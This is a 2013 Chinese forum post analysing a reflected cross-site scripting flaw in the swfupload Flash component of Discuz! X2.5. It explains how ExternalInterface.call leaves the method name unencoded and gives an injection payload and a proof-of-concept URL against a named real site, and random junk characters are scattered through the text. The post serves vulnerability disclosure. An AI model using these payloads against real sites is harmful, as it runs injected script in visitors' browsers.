找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1984|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说0 d6 K. \7 I9 |* o

! c7 f6 y- Q, P/ o) Xflash.external.ExternalInterface.call($methodName, $parameter)1 X$ A! ?# w! C! L8 A
在浏览器中执行的是
" Z" Z# p. u6 z4 B2 J! a3 m% d9 q* u( h7 C: O: y3 v& T# H1 d" r1 T
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 k9 g# s( c. U% \. d对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如3 i+ y  V) Z/ ^! D
9 L& N; |, |) ], p
flash.external.ExternalInterface.call("object."+$methodName, $parameter)% F3 }7 ?: B4 L) P0 p# A( h
$methodName = a())}catch(e){alert(/xss/)}//* X, o; n( R4 s, q
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% c) N5 a2 M) s$ `( b$ _: n( i  L: n) J3 |# ]
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; d5 e: `: V- }+ `4 l& Y; K. Y' @9 ~8 b# a' r6 e1 i( n* c7 B
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )% {6 q# n9 D3 B1 O# H) n1 D
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。0 C5 [7 [# H) Q" H
, V9 ?) W8 ~. \

) g$ T, m# l& A: b8 K" r9 y. m, e8 @4 h# K3 g+ \3 f
漏洞文件:upload\static\image\common\swfupload.swf
( v$ i6 ?4 e5 V- h2 h4 U) Z9 a$ M0 f; o- n7 W, {
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
6 k$ j% `6 h2 ]# S3 n
( j/ b. s5 `6 L) |& b" N7 G3 Z9 K8 \9 I& z5 M: ^% v; C7 q- |
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//3 B. g7 j5 W, R5 |' B1 ~$ w4 ^
0 B6 |8 z; K2 h6 T0 h

, V: J. t/ ]8 Y; I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表